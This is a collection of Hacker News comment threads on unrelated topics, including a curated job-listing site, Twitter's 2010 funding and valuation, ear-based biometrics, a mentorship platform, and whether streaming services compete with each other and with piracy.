<comment><USER13> A logarithmic view would be great for showing when the population and output stalled or increased faster, but the purpose of this graph is to show that the fact that the increase is dramatically exponential, and at what point in the curve we are right now.

Ideally both would be shown--but just showing the log graph would be misleading in this context.

<comment><USER14> I agree. I think that the point of this graph is to _convey_ exponential growth, and simply that. It's not meant to be used "seriously," which'd make a logarithmic graph more suitable.</comment></comment></comment></comment></comment></comment>


Show HN: Curated Who's Hiring - <AUTHOR> http://curatedhnhiring.com/

<comment><USER2> There's also [http://hnhiring.me](http://hnhiring.me) which I wrote a couple of years ago. It's a bit more flexible with filtering, but uncurated.

Incidentally, HN is up at the top of painful websites to scrape. All comments are at the same level of hierarchy, and the appearance of threading is accomplished by a spacer <img> with a width set according to the nesting depth. There are also no absolute times, and the times that are there slowly lose resolution. In order to get a comment time that's accurate to the minute, you have to load the page twice an hour and store the post id to time mapping.

<comment><AUTHOR> Yep, the same level thing is a pickle. Like you, I'm determining top level comments via the same "s.img" indentation image with. Feels terrible, but it works.

Same with the comment time. Looked into the Sort by Recently Added request, and there's no good way to do it without polling.

Regex Filter added

</comment></comment><comment><AUTHOR> Source: [https://github.com/perspectivezoom/curated-hn- hiring](https://github.com/perspectivezoom/curated-hn-hiring)

I wrote it in about a day, so there's a lot of jenky code. Just wanted to get it out there and see if it's worth spending more time on.

</comment><comment><USER3> I think this is great. Love the filters. It'd be nice if you could also filter by recently added. I'm currently looking for a job and it's kind of a pain to have to scan through the whole list looking for one or two new jobs that have been posted.

</comment><comment><USER4> Definitely spend more time on it - cause it's a great idea. It's really just some design nitpicks I have.

Everything's full-screen and stretched so it seems like a ton of information thrown at you. Each posting has a top line, so you might be able to put that in a header bar of some sort, like an orange div that stretches across with an side and down arrow indicating nested or not - and maybe start out with all of them nested, that way users can really pick the ones they want easily instead of scrolling all the way through. A little more padding between jobs would be nice as well.

I like it though! Keep up the good work.

<comment><AUTHOR> I tried doing a header bar with company name, but it looked super redundant for the majority of postings: Company Name followed by Company Name. Problem is, the first line sometimes contains other information too, so I couldn't just cut it out. I would have to curate the comment body itself at that point. Maybe next time.

Bumped the padding a little.

</comment></comment><comment><USER5> Bug report: Doing a Ctrl-F to find my technology or location of choice causes the job description to get scrolled down, so the top part isn't visible (and therefore I can't expand the whole description).

As an example, do a search for "Python" and you'll see a desc with this sentence in it: "We use Python/Django, JavaScript (jQuery, AngularJS), ActionScript, MySQL (and some MongoDB), but you'd be free to choose your own tools and libraries."

<comment><AUTHOR> Fixed. While fixing, I found another bug where double clicking within 400 ms breaks off the animation and prevents the complete callback from firing, but I'll worry about that another day.

</comment></comment><comment><USER6> Im visiting MS but live in Boston, would like to look for jobs there; Computer location wouldnt work for me. Would be nice to override that.

<comment><AUTHOR> In its current implementation, once the JS gets your computer location, I just store the data in window.currentLocation. Until I add the functionality, you can start a location sort, and modify the latitude longitude coords in window.currentLocation to Boston in the console. Then click a filter on and off to trigger a re-sort.

<comment><USER7> Great solution! One of the reason I love seeing things like this on HN :)

[I realize this could be read sarcastically, but I mean it sincerely.]

</comment></comment></comment><comment><USER8> Could you resolve cities/countries to continents? the use-case is quite simple: if you are open to working in all of Europe or all of Northern America, it would be great to search for 'Europe' or 'Northern America' etc.

This isn't possible at the moment on the regular thread :/

<comment><USER9> I've been working on another one of those apps. It's a real pain in the ass to get accurate location. Both NER or regex location extraction and geocoding services can be slow and inaccurate in variety of ways. The way that brought me the most success is regex and a tabulated file with city names, coordinates and some other info. In either case, there's manual labor involved in finding false positives and negatives.

</comment></comment><comment><USER10> Yes. Thank you for a location filter. This is a fantastic use of the geolocation API.

</comment><comment><USER11> I really love hnhiring.com if you could add regex support. and better support for filtering by location (detect variations of SF, san francisco, bay area, are one thing) that'd be awesome.

<comment><AUTHOR> So, to get location, I looked at each entry and typed in the city name, then ran those locations through the Google Maps geocoding API. To get more specific locations, I would have to get the address of each company, which generally isn't posted. Maybe LinkedIn API to grab the address, based on company name? Haven't played with that one yet.

</comment></comment><comment><USER12> "New/changed since last month" would have been a great filter.

</comment><comment><USER13> Fantastic. Date of the post might be nice.

</comment><comment><USER14> What stack did you use?</comment>


On Troll Hugging, Hole Digging, and Improving Open Source Communities (2017) - <AUTHOR> https://perl6.party/post/On-Troll-Hugging-Hole-Digging-and-Improving-Open-Source-Communities <comment><USER2> Some additional info on this excellent article: Zoffix worked very hard on giving Perl 6 a different name. At that time however, the Perl 6 community was not ready for that yet. Which resulted in Zoffix leaving the Perl 6 community.

In October 2019, the Perl 6 community decided that a rename of the language would be in the best interest of everybody involved. Since then, the language is called "Raku" ([https://raku.org](https://raku.org)).

Zoffix is still sorely missed.

</comment><comment><USER3> Interesting how the author used himself as the antagonist in some of these situations. Good article.</comment>


Ask HN: How would you give away free copies of Mathematica? - <AUTHOR>

We're a startup translation/publishing company that's just released our first book, a niche young adult novel that uses fiction as an introduction to advanced mathematics. Since we're unfunded and bootstrapped, we have pretty much zero advertising budget. In an amazing stroke of luck, the book has attracted the attention of Wolfram Research, who was kind enough to donate 5 Mathematica for Students licenses for us to use as giveaways in a promotional campaign.
Our initial plan was to use them in a Twitter retweet campaign or something similar. That seems kind of shallow, though, so we're looking for ideas for something a bit more interesting and engaging. An ideal contest would 1) target high school and college students (the licenses can only be awarded to currently enrolled students), 2) involve teaching and/or learning math in some way, and 3) be equitable, so that pretty much anyone who wants to take part can without having to spend a lot of money, or have access to specialized equipment.
Right now we're considering a writing contest—much of the book is the main characters working through challenging math problems, so we thought that it would be neat to have a fanfic contest where readers submit their own take on that. Anyone have any other interesting ideas? <comment><USER2> Is there some kind of nationwide high school "math club" or something? Kinda like the Science Olympiads, or the 24 clubs there used to be (or may still be) At the college level, I'm sure there's something too. I'd try to find that type of organization, and reach out to their national office. From there, and what type of "contest" or promotion you'd like to try, I'm not really sure. I'd try to reach out to math teachers as well, ontop of your direct audience (I'm assuming the kids) they tend to have a big influence on what their students are exposed to.

</comment><comment><USER3> Contest: submit a problem they want to solve using mathematics, possibly with real or fictional backstory. Like your fanfic idea.</comment>


An Introduction to Mocking in Python - <AUTHOR> http://slviki.com/index.php/2016/06/18/introduction-to-mocking-in-python/ <comment><USER2> The content appears to be lifted directly from this two year old posting:

[https://www.toptal.com/python/an-introduction-to-mocking- in-...](https://www.toptal.com/python/an-introduction-to-mocking-in-python)

I was trying to figure out Python mocking the other day and knew I had seen that exact content on a different site.</comment>


Biometrics Turns Your Ear Into Your Password - <AUTHOR> http://singularityhub.com/2009/05/06/biometrics-turns-your-ear-into-your-password/

<comment><USER2> I wonder what the effect of earwax buildup is on this. Without actually knowing anything about OAE, I'd imagine earwax delta could cause greater change in OAE than switching between people with similar ears.

This sounds cool, so hopefully someone can explain why I'm wrong.

<comment><USER3> You're not wrong. I am less than enthused about this, since I enjoy above- average hearing (and have leveraged this professionally for the last decade as a sound tech). I already have to put up with enough noise pollution: this is about as attractive to me as laser-based iris scanning would be.

</comment></comment><comment><USER4> Also reported on <http://news.ycombinator.com/item?id=563786> which in turn points to a New Scientist article, [http://www.newscientist.com/article/mg20227035.200-our- ears-...](http://www.newscientist.com/article/mg20227035.200-our-ears-may- have-builtin-passwords.html)

In that they say:

        There are a number of problems that must be
        dealt with, he says. In subjects that have been
        drinking alcohol, for example, emissions are
        deadened. And different drugs alter the amplitude
        of OAEs, as do ear infections or wax build-up.

The grant application is here:

<http://gow.epsrc.ac.uk/ViewGrant.aspx?GrantRef=EP/E015522/1></comment>


MPs' Vote to raise University tuition fees in England to £9,000/yr passes - <AUTHOR> http://www.bbc.co.uk/news/education-11954333

<comment><AUTHOR> Vote passed by a majority of 21, and 27 of the 650 MPs abstained. Sad to think what a huge difference those 27 could have made...</comment>


Show HN: We created a mentor/mentee matching platform and we want your feedback - <AUTHOR> http://www.perunity.com/?src=hn

<comment><USER2> Well, I like the fact that this exists, but I don't think it will work being just a CRUD site as it is.

You're making it too difficult for the people, making them write all the details, then search, I don't know, maybe you could get their data from other places.

<comment><AUTHOR> Thanks for the feedback! We plan to add many features soon, but for now we decided to release a minimal version, so we can prioritize features based on user feedback.

</comment></comment><comment><USER3> Step 1: Get a real design, and don't just use 100% default Bootstrap.

<comment><USER4> I don't understand your point here, if bootstrap creates a good design which does the job well why would they be in need of a 'real' design.

<comment><USER5> Design is an essential element of functionality. I had to click on one small link at the top of the navigation bar to get to the most important information: Users.

Then I had to scroll through a list of people, pulling out various tags and keywords that might have been interesting to me.

I gave up finding what I was looking for, but not before clicking on 'Search' at the top. The search wasn't an autocomplete field, so I typed in something, hoping for the best. 0 results.

A good design, IMO, makes the most important function the most obvious feature. It makes the most complex task the most simple to complete.

For this site, I could have used a sortable and searchable data table that let me both browse, search, and communicate on one page.

<comment><AUTHOR> Thanks for your feedback! We'll definitely make some changes soon.

>For this site, I could have used a sortable and searchable data table that let me both browse, search, and communicate on one page.

Can you please elaborate on this? Do you mean sort of personalized dashboard?

> I gave up finding what I was looking for

Our plan is that: you say us what are you looking for and we take care of everything else. After we filled in the tags in profile, you can click on "My Recommendations" and we also send you email messages when find something intresting for you.

<comment><USER5> Sure thing! I like the overall concept a lot.

> Can you please elaborate on this? Do you mean sort of personalized > dashboard?

No... I just want a way to filter people quickly by 'wants to learn' and 'wants to teach'. At first, I don't really care about the details of the person except for that info. So a table that can be filtered with some javascript would be great. Especially if you used something like chosen: [http://harvesthq.github.io/chosen](http://harvesthq.github.io/chosen). That way, I can both see all the options as well as get autocomplete.

The idea is just that I want to know right away whether or not there is someone who I can help, and someone who can help me. Otherwise, it's a waste of time for me to register. It's like a dating site... I'm not going to register if there's no one available, in the hopes that the site will become popular later.

<comment><USER6> (I am the other creator of this website)

> The idea is just that I want to know right away whether or not there is > someone who I can help, and someone who can help me. Ok, this makes it much > more clear! We'll definitely improve search experience for unregistered > users. Thanks for the link, btw, the lib looks very useful.

> Otherwise, it's a waste of time for me to register. It's like a dating > site... Yeah, I do agree that the site would be attractive with more users. > However, you can register, type in some tags and receive occasional > notifications when someone with the same tags signs up.

</comment></comment></comment></comment></comment></comment><comment><USER7> this is cool, i was thinking of doing something like this for dota coaching

<comment><USER6> (I am the other creator of this website). Thanks! We will be happy to see you on our website!</comment></comment>


Are you a long-term traveler who works remotely? Please participate in my study - <AUTHOR> http://backpackofmemories.com/2015/04/26/researching-nomadic-lifestyle-participate-in-my-study/

<comment><AUTHOR> It turns out that these folks are not easy to find - more difficult than I thought. If you qualify for the study or know someone who would, I'd really appreciate it if you'd reach out.

Thanks all, Lena</comment>


The Frog That Learned to Fly - <AUTHOR> http://www.ru.nl/hfml/research/levitation/diamagnetic/#Whydoesthefrogfly

<comment><USER2> Note: this is earlier research by Geim, one of two people to be awarded the Nobel prize in physics today.</comment>


Twitter Raises $200 Million at $3.7 Billion Valuation; Adds New Board Members - <AUTHOR> http://kara.allthingsd.com/20101215/exclusive-twitter-raises-200-million-at-3-7-billion-valuation-adds-mccue-and-rosenblatt-to-board/ <comment><USER3> There's an assumption that people who invest $200 million have information you don't have or that they're smarter than you are. I worked for eToys and watched the company simply run out of money after raising $250 million. I worked for Jobster and watched the company become walking dead after raising $55 million.

The Madoff investors are also a prime example of what economists call "asymmetric information" at work.

There is an odd inverse correlation where the larger the deal, the less insider info the investors have.

Today Twitter burns cash at a furious rate, has only 25 million uniques on their website, has a product riddled with bugs, has a terrible uptime record and after years of trying to scale, continue to have terrible uptime and app performance.

But most important of all: Twitter do not yet have a business model, and the experiments they're doing, like the groupon twitter clone, demonstrate that they are flailing around in the dark.

It's quite possible that Twitter may go the way of eToys.com and other big busts: After raising a spectacular amount of money they will simply run out of cash and have their assets bought for a pittance.

So lets explore this scenario briefly: If twitter does simply implode, it will be catastrophic for our industry because the press will brand it as a wider systemic problem and will most likely describe it as the "second dot-com bubble bursting". The mainstream press have been particularly kind to Twitter, so expect them to be just as unkind if it dies. VC and angel money will dry up for a time and the correction that guys like Fred Wilson have been predicting (see his recent comments re an angel investment bubble) will come to pass.

Lets hope Twitter becomes profitable and sustainable or we will all be hurt badly by the shrapnel.

<comment><USER4> I'm not sure Twitter is burning money as furiously as you think. Last year they claimed they were cash flow positive[1] just on firehose deal worth $25M a year.

I'm not saying they are worth 3.5B but it looks like Twitter is setting themselves up for a really long runway before they would crash

[1] [http://www.businessweek.com/technology/content/dec2009/tc200...](http://www.businessweek.com/technology/content/dec2009/tc20091220_549879.htm)

<comment><USER3> I'm not sure either, but here's some data:

Employees: 350 (Source: Forbes, Dec 15th, 2010) Avg salary, lets assume 80K. (probably too low) TCO per employee $110K

$110K * 350 = $38.5 Million per year on employees.

They've been paying NTT for managed hosting thus far - so much that NTT has cited it as a reason they're expanding their hosting network. They're about to open their own data center in Sacramento - probably because they're realizing how expensive NTT is. My guess is they could be spending as much as $30 million per year on hosting and infrastructure.

Add another $10 for office, admin and legal and you've got a burn rate of just under $80 million per year or $400 million over 5 years.

<comment><USER5> The WTF here is that they have 350 employees.

<comment><USER6> I speculate that it must feel ok to keep hiring when you're using other peoples money to hire them.

</comment></comment></comment></comment></comment><comment><USER7> I'm probably just ignorant, so I'd really be interested in hearing what those with expertise have to say.

At a $3.7 billion valuation doesn't that mean that twitter has to IPO or be bought for at least $10 billion to make it worth it? and aren't those exits exceedingly rare?

I'm sure people investing $200million aren't idiots, so it's not like this logic is lost on them, so I'd be really interested in what the investment terms are to make this a sensible deal.

<comment><USER8> Given its popularity, do you really think Twitter is going to exit for less than $10B? Those exits are rare, but so is the position that Twitter is in.

<comment><USER7> Well, couldn't that same argument have been made about Friendster, or MySpace, or Digg etc.?

I don't know what the odds are, but surely there's at least a 25% chance that twitter will fizzle out. So it's 25% chance of nothing, and 75% chance of, say, a 3x exit. I dunno, that seems crazy risky to me.

Someone commented below about the secondary market - that actually makes a lot of sense I think. I guess when you're investing in twitter there's enough liquidity in the secondary market that you can probably get out if you need to.

<comment><USER9> 1) Even if twitter fizzles it won't be worth $0. 2) It's possible that the investors in this round have a preference to get their money out first.

So 25% chance of nothing is almost certainly wrong.

<comment><USER10> are you sure? How much is MySpace worth, given that they probably are losing money? (not to mention, members)

<comment><USER11> MySpace's exit was $580MM. They had an estimated revenue of $300-$400MM in 2009. They might not be Facebook, and may never have a very high valuation, but the exit was very profitable for those involved.

Twitter can just as easily be great for it's stakeholders and fizzle out as a service.

<comment><USER10> yeah, but their 'exit' is similar to twitter's current round: it's a measure of how much somebody thought they could/would be worth. I'm asking how much they are worth now!

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> I'm currently find this discussion ignorant and annoying.

People are claiming a $3.7 B valuation implies a $10 B exit, and that this is absurd somehow, so therefor the VC's must be stupid.

Here's the Math so you can understand the logic.

Google claim they can make $10/year from advertising, per user on Android phones[1]. Current speculation is that Facebook is on course to make around $1.6 B from 500 million users this year (ie, $3.2/user/year)[2]. If Google and Facebook can do this, than surely Twitter can make a comparable number - <USER2> lets say $2/user/year to be conservative. Twitter has ~150/million users, so they should be able to make around $300M/year. Google's P/E is ~20, but they are a mature company, and Facebook seems to be trading at a P/E of ~50. For out estimates we'll split the difference and give Twitter a P/E of 30. 300M * 30 = $9 Billion.

People seem to think that Twitter can't make any money from advertising. In my view, this is a pretty extraordinary claim - everyone else can make money, so why can't Twitter? They actually have a lot of advantages (eg, desktop & mobile installs) that most websites don't have. Many companies _pay_ to be included on toolbars etc that end up on people computers, and yet to here people here talk you'd think having millions of people install your thick client is a disadvantage!

[1][http://blogs.computerworld.com/17099/google_says_android_alr...](http://blogs.computerworld.com/17099/google_says_android_already_breaks_even_will_be_a_10_billion_business)

[2][http://www.marketingpilgrim.com/2010/09/facebook-revenue- est...](http://www.marketingpilgrim.com/2010/09/facebook-revenue-estimates- continue-to-rise.html)

</comment><comment><USER13> Though I may simply be ignorant to their plans, I have yet to see compelling evidence that Twitter really knows how on earth it can really monetize itself. My guess (as I said in an earlier Tweet) is that the network itself is worth millions of dollars to businesses (quite likely even more than the $3.7 billion valuation) but I don't see how it translates into real revenue for Twitter, the company, as operator of that network.

One of the things that's always amazed me about Twitter is that with everything the company has done to make a really cool service, they seem to be in the absolute worst position possible to actually monetize that service.

</comment><comment><USER14> An interesting aside: plenty of people (myself included) have been saying things like "the people at Twitter can't figure out how to monetize".

This is true but it assumes that there is some easy monetization, they just haven't discovered it. Yet - I haven't heard anyone else come up with a reasonable plan to do so, and it's not like twitter doesn't have thousands of people who are intelligent, experienced at this, and want desperately for them to succeed.

Sure it might look like they are flailing, but lets not keep implying that it's because they don't know what they are doing, don't have the right people in charge, aren't savvy enough to figure it out, etc.

</comment><comment><USER15> Stop talking about profits. Twitter creates value for millions of users, they will figure out how to monetize those users. If you put profits above all, it will slow you down.

People were saying the same things about Facebook and they figured it out. Same for Youtube, same for Google, etc etc. Twitter is a 4 year old company, there are thousands of companies that dont make any profits in their first 4 years, it even took Amazon 7 years to be profitable.

</comment><comment><USER16> The fact that Twitter revealed a online form to buy ads at the same time with closing new round of financing says a lot. for me it says that twitter is desperately screaming: 'please, dont call us money burning losers. there is a possibility for us to make money, look we even have a online form to buy ads' :)

</comment><comment><USER17> Below is my tweet in reaction to the news. Hopefully someone can justify this _growth_ capital for me.

      Nobody is directly competing with you @Twitter.
      What the hell is the rush that you need $200mm for??
      This is a goddamn #bubblebath

<comment><USER18> Lots of things compete with twitter (and beat it by miles).

Instant messaging apps - AIM etc do _far_ higher volume of messages. IRC does. Facebook does.

Sure, it's not apples for apples identical, but can you imagine ICQ being valued at this price?

<comment><USER19> ICQ had low valuation because it was not popular in US. It had 2 reason for discount:

1\. Users mostly international: Europe and Russia

2\. Israeli-based - for two absolutely identical companies one in SFBA and one in Israel - the Israeli will have ~ 30% discount.

<comment><USER20> Question is, in the ~13 years since, was ICQ worth its $400m price? Is Twitter really worth x2.5 that?

<comment><USER21> Does ICQ have potential uses in the multi-billion dollar corporate marketing industry?

<comment><USER20> Depends what potential uses you're referring to. If it's context-sensitive advertising, ICQ did have (has?) ads and supposedly could match an ad to a message text or a user's history.

<comment><USER22> It's still only traditional advertising, the thing about Twitter is it has the ability to make people forget they are bing advertised at. People follow company account on Twitter very willingly and receive a stream of what would be considered advertising from the company right mixed in with everything else they are doing.

The ICQ equivalent would be to have someone like starbucks open up a chat with users and still manage to somehow retain the users.

<comment><USER20> Fair point - but, this relies on the user actively using Twitter over some time, which seems like the minority. Couldn't companies achieve the same with Facebook pages, which seem to have a larger and more devoted audience?

<comment><USER22> Yeah, at the moment though Twitter has more potential in this area. They are seen as more of a broadcast platform whereas on Facebook the pages are tacked on to a platform for more personal communication between friends.

Certainly though I see this growing on Facebook to, I don't think there is only room for one game in town here though, so far companies have been happy to work across both platforms. Depends a lot on Twitters future user retention and engagement I guess.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER23> Congrats to them, hopefully we see some good features (more stability) and a business model that doesn't piss everyone off and kill it :)

</comment><comment><USER24> Looking at Costolo's blog post, I was shocked to see they only have 350 employees!

Each employee represents $10 million in valuation.

</comment><comment><USER20> Damn, gotta open CNN to see what people are tweeting about this!

</comment><comment><USER25> Reading this makes me lose all faith in business, startups, and humanity in general. 5 years later and they aren't profitable, aren't stable, and aren't really innovating anymore. It's like they're dying to become the pets.com of the late 2000's

</comment><comment><USER26> If Google was willing to pay $6 Billion for Groupon, how is Twitter not worth more? That's a serious question, not a snarky one.

<comment><USER27> Groupon has revenue of at least $500 million.

<comment><USER26> True, but shouldn't Twitter have more potential future earnings than Groupon?

<comment><USER25> groupon's business revolves entirely around selling things, with limited social aspects to make it enjoyable. Twitter is literally the exact opposite. There's no clear way to monetization for them.

<comment><USER26> Thanks for that answer. I understand this, but I just keep thinking why can't Twitter just but a few display ads like Facebook to monetize?

<comment><USER25> facebook has ridiculously useful demographic targeting information. Twitter is a little bit more messy and it would be trickier to target as accurately, so the value is less there

<comment><USER26> That makes sense now that it's been explained, thanks!</comment></comment></comment></comment></comment></comment></comment>


It's not a zero-sum game for Apple TV+, Netflix, and Disney+ - <AUTHOR> https://onezero.medium.com/everyones-wrong-about-the-streaming-wars-95f1eb717a90 <comment><USER2> "For months now, journalists, industry insiders, and consumers have opined on who will "win" the streaming wars and why."

The more streaming services there will be, the more likely it is that only thepiratebay and torrents will win.

<comment><USER3> It's amazing how we have gone full circle in the last 15 years or so. In the old days, people complained about their cable tv bill: why do I have to pay for 250 channels when I only watch 5 of them? Let me pay only for what I watch.

Now that the future is here, people are complaining that they need to sign up for too many streaming services. Why can't I just pay once for a bundle and get everything I need?

I'm just as guilty as everyone else, I don't have a good answer...

<comment><USER4> >why do I have to pay for 250 channels when I only watch 5 of them? Let me pay only for what I watch.

But that is still the case. If I could only pay for the shows I watch, I would not complain. But if I watch one Netflix show, I can't just subscribe to that show, I must pay for a ton of stuff I'm not remotely interested in.

You still have Netflix, Disney+ and all the cable channels you need to subscribe to if you want their shows, how is this better for the consumer ?

An actual 'A la carte' situation is that of the consumer being able to actually handpick the shows they want and only pay for those. This will never happen due to the industry being absolutely hostile to the idea, second best from a consumer standpoint is a single huge distributor like Netflix where you would pay larger fee but have access to practically everything you want, that is now pretty much a pipe dream since every major player wants to run their own streaming platform. This is not the way to beat piracy.

<comment><USER5> > An actual 'A la carte' situation is that of the consumer being able to > actually handpick the shows they want and only pay for those. This will > never happen due to the industry being absolutely hostile to the idea...

We've been able to do this with a substantial number of shows for _years,_ though, by buying individual episodes or "season passes" on Amazon and iTunes. Maybe people just don't know, maybe people think the prices are too high, but more than likely the market has just largely moved on from this model for much the same reason that it moved on from CDs: the rise of streaming. (But put a pin in that for a second...)

> ...second best from a consumer standpoint is a single huge distributor like > Netflix where you would pay larger fee but have access to practically > everything you want...

This is what we all want _price-wise,_ but would we really, truly want to turn Netflix into the equivalent of the iOS App Store for essentially all legal streaming movies and television?

Everyone blames the proliferation of streaming services on rapacious greed, and, I mean, sure, the profit motive is mighty. But it's also a matter of keeping control. Broadcast networks and cable companies are middlemen who not only take a cut of the profit but who also act as gatekeepers; it's a little mad to think that producers would want to free themselves from that system only to rebuild it with a single all-powerful company in the command seat.

Sure, not all the streaming services will survive, especially at the prices Netflix is currently charging. But I'm not convinced that the world is really going to rise up and rebel against having to pay $50 or $60 a month total to a half-dozen providers for commercial-free, on-demand access to hundreds of thousand of shows versus paying $100+ a month to a single provider.

<comment><USER6> The problem with buying Season Passes is that they're usually a terrible option for many reasons.

They're usually not available until well after the season premiered (12+ months later), roughly at the same time that the DVD/Bluray comes out.

The quality of them is iffy, at best - SD or HD at poor bitrates. Fine for watching on a tablet or laptop, marginal at best on a TV/Surround system.

They're tied to watching on that specific platform, and you're fucked if you wanted to watch on another platform, and if that platform goes away so do all your purchases.

They're region locked, so if you went overseas for a bit, you can't access them.

They're often either as expensive, or more, than the physical Bluray.

<comment><USER7> I'm still waiting for "Steam for TV series/Films". I've always felt that that approach would work better as we're unlikely to get a single streaming service with "most content" akin to music streaming". The model works well for distributing games and doesn't have any of the deal breaking problems that you listed (well except for it going out of business, but should not be a problem as long as you have access to the files). I can't really see a reason why it would not work for films or TV series.

Just provide something that isn't worse than torrents and reasonably priced and I'll happily buy the content I'm interested in.

<comment><USER8> Incidentally, steam does stream both standard film and VR content - just not much of it. (So steam _is_ already steam for TV/Films in theory)

For example: [https://store.steampowered.com/app/468060/PADAK/](https://store.steampowered.com/app/468060/PADAK/)

<comment><USER9> Steam briefly had a content deal with Lionsgate, but the partnership didn't work out (very few sales) and they abandoned the idea of selling TV/Films soon after the partnership collapsed. They didn't seem able to get interest from any other studio in that time, either. (Plus they were not able to and disinterested in supporting the industry standard Movies Anywhere mutual-DRM- unlocks-assurance system, so for at least some consumers their attempt was DOA from the start.)

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER10> It is not a zero sum game, because when there are enough of them I can't be assed anymore and I will simply torrent the content instead.

The same way you usually never paid for single networks when you bought cable stuff but just bought a bundle with a whole bunch of them.

<comment><USER11> It might not be a zero sum game for them, but it definetely is a zero-sum game for me. When I want to watch something, I just want to click it and watch it. This is the API that my torrent tracker gives me for free (Airplay to Apple TV works great for this).

I'm willing to pay for a service that I use a lot and gives me an API that's at least as good as this. But it doesn't make any sense for me to pay for 5 services that combined give me a much worse API. Having to use 5 crappy apps typing in 5 crappy search boxes until I find what I want to watch is quite frustrating.

We started 2019 with Amazon Prime and Netflix, but when Netflix dropped support for streaming from iOS to Apple TV using Airplay, we dropped it (having to use the Netflix Apple TV App was worse than using torrents). Last month, we noticed that most of our torrent streaming is HBO content, and we subscribed to HBO instead. We've been torrenting The Mandalorian from Disney+ recently, but right now that's not remotely close to enough to make us actually want to subscribe to Disney+.

Who ever thinks that requiring people to subscribe to more services is going to actually make them do that, when there is a hassle free, simple, reliable, and cost-free alternative, is delusional.

<comment><USER12> I'm still baffled by the reasoning that leads to all the DRM theater. It does nothing. the moment a piece of content reaches streaming apps, it's on every torrent and free streaming platform.[1]

All it does is that it makes the user experience of paying customers worse. Can't use their preferred video player. Can't use a frontend that puts all the content together. Can't save it for later to watch online, unless the platform has that functionality built in, usually in a restrictive and clunky way.

[1] I'm, of course, talking about platforms that aren't as aggressive about getting rid of copyrighted content as youtube.

<comment><USER13> At least in Netflix's case, some of it makes sense because of how much work they put in to their website. Almost everything on their homepage is personalized based on what they think will get you to watch that movie/show. From the pictures, summary description, and video preview, that's all customized to get you to watch more.

<comment><USER12> Wouldn't they make more money by you watching less? Also, there is no reason they couldn't have a decent website, just because they also didn't have DRM.

<comment><USER14> Maybe the approach is the more people watch, the more they talk about the (Netflix exclusive) shows with others who don't have Netflix and they hopefully buy in?

</comment></comment></comment></comment></comment></comment><comment><USER15> I currently subscribe to all three of these and Amazon Prime, and it's less than 1/6 of what I paid for directTV before cutting the cord 9 years ago, and I don't even always keep my subscriptions active all year.

I like this way better, and there can be lots of winners. No way one streaming service can provide and create everything. Plus that's not good either, choice is better.

<comment><USER16> The problem is that you're not comparing like for like. All these services are in growth phase now, they're pricing their services to compete. The problem is that once they've all topped out and growth isn't happening anymore the way they'll continue revenue growth is by slowly increasing the cost per customer. So yeah, right now it's cheaper, but in 10 years time you're going to be exactly back where we were. Right now you're benefitting from a bunch of venture capital, but don't think that the position you're in right now is going to last.

</comment></comment><comment><USER17> Woman I know cycles her subscriptions, consumes what she has on backlog and then just moves onto the next.

It seems to work for her, although I don't think I'd be comfortable doing that because I would miss out on pop-culture references.

(I mean, one only has to look at imgur.com for a few minutes to notice a lot of Mandalorian memes, the cynic in me even considers that this might be due to Disney shilling that content)

<comment><USER18> If Disney were going to shill Star Wars memes they wouldn't be about a character where they didn't make any merchandise in time for Christmas.

<comment><USER17> you mean like this: [https://techcrunch.com/2019/11/26/baby-yoda- merchandise/](https://techcrunch.com/2019/11/26/baby-yoda-merchandise/)

</comment></comment></comment><comment><USER19> Streaming wars are called wars because newcomers are willing to burn money for market share. Next few years Disney streaming operations are expected to make $5B loss every year. They are still profitable because they make money from everything else, including cable.

This is problem for Netflix. Competitors have other sources of revenue aside from streaming services, Netflix has just streaming.

Netflix hasn't had positive free cash flow since 2011. As their most popular series are leaving for competition and and the quality of original content is suffering because they are in panic mode to create more original content.

<comment><USER20> > Competitors have other sources of revenue aside from streaming services, > Netflix has just streaming.

Netflix have been doing cinema releases of their titles ahead of their streaming debut. Surely that's other revenue?

<comment><USER18> > Netflix have been doing cinema releases of their titles ahead of their > streaming debut. Surely that's other revenue?

That's for awards qualification purposes. It brings in rounding errors, and almost certainly operates at a significant loss.

</comment></comment></comment><comment><USER21> > Does the fact that there were four broadcast networks mean that one of them > eventually prevailed, and the others disappeared? No. Was there a cable > channel war resulting in one dominant cable network? No.

I get all 4 broadcast networks for free over the air. Cable channels are infamously bundled so if I get one, I have to get dozens, and it's essentially impossible for channels to fail in the market. These comparisons aren't like competing streaming services at all.

If you look at the actual cable service providers, there are very few. They're definitely prone to monopolies. Comcast (#1) would have bought Time Warner (#2) a couple years ago if the government (and everybody else) wanted to block it.

<comment><USER22> > if I get one, I have to get dozens, and it's essentially impossible for > channels to fail in the market

Totally untrue! Cable companies have to pay a rate to get a channel. Most channels don't fail, their viewership drops and then they turn into cheap syndication products and mostly use ad money. ESPN is like $15 of your cable bill, and OXY is like $.05. If they didn't have enough viewers to break even on content costs and broadcast costs off of ad money, they would stop broadcasting.

<comment><USER21> Fair point. But I still don't think it's worthwhile to equate "one cable channel (like OXY)" to "one streaming service (like Netflix)".

</comment></comment></comment><comment><USER23> Of course it is not zero-sum game. Everyone will lose at the same time.

No mention of piracy and torrents in the article. That is the "seventh player" which will win along with cheap VPN services.

</comment><comment><USER24> How about: if you release on a publicly accessible channel (ie streaming service) then copyright law is amended to say you have to release to any service that requests it (after say one year) or you lose your copyright.

How would that not serve the public interest?

Public gets access. Copyright owners get paid. Middlemen can't fuck it all up (so easily, I'm sure they'd find a way).

</comment><comment><USER25> It's pretty simple. Exclusives are bad for the user, period.

Exclusives might still work, if the store that's offering them is selling something. I.e. you can buy something exclusive, and while it's annoying that you are forced to use only specific store for it, at least you pay just for what you bought.

Exclusivity isn't compatible with renting, or it least it won't scale. How many renting services will users be paying for? I bet not many. So let them start selling video, and preferably without any exclusivity.

</comment><comment><USER26> Solution: Sign up to an aggregator service that's say $15 / month and you can watch any streaming service. When the month is up your $15 is distributed between providers depending on how much you watched each of them.

<comment><USER27> Nice solution for users, one that will immediately be denied by all providers.

Why take your share of $15 /month if you can easily coerce the vast majority of consumers to pay the full $15 for _your_ service by releasing the next season of <insert popular show here>.

All it took for the masses to immediately flood Disney+ was owning Star Wars and Marvel.

I subscribed to HBO because of Game of Thrones back in the day, I have Prime anyways and share Netflix with 3 other people.

I want what you described but nobody is going to let this happen if consumers who are too tech-illiterate to pirate will pay up anyways.

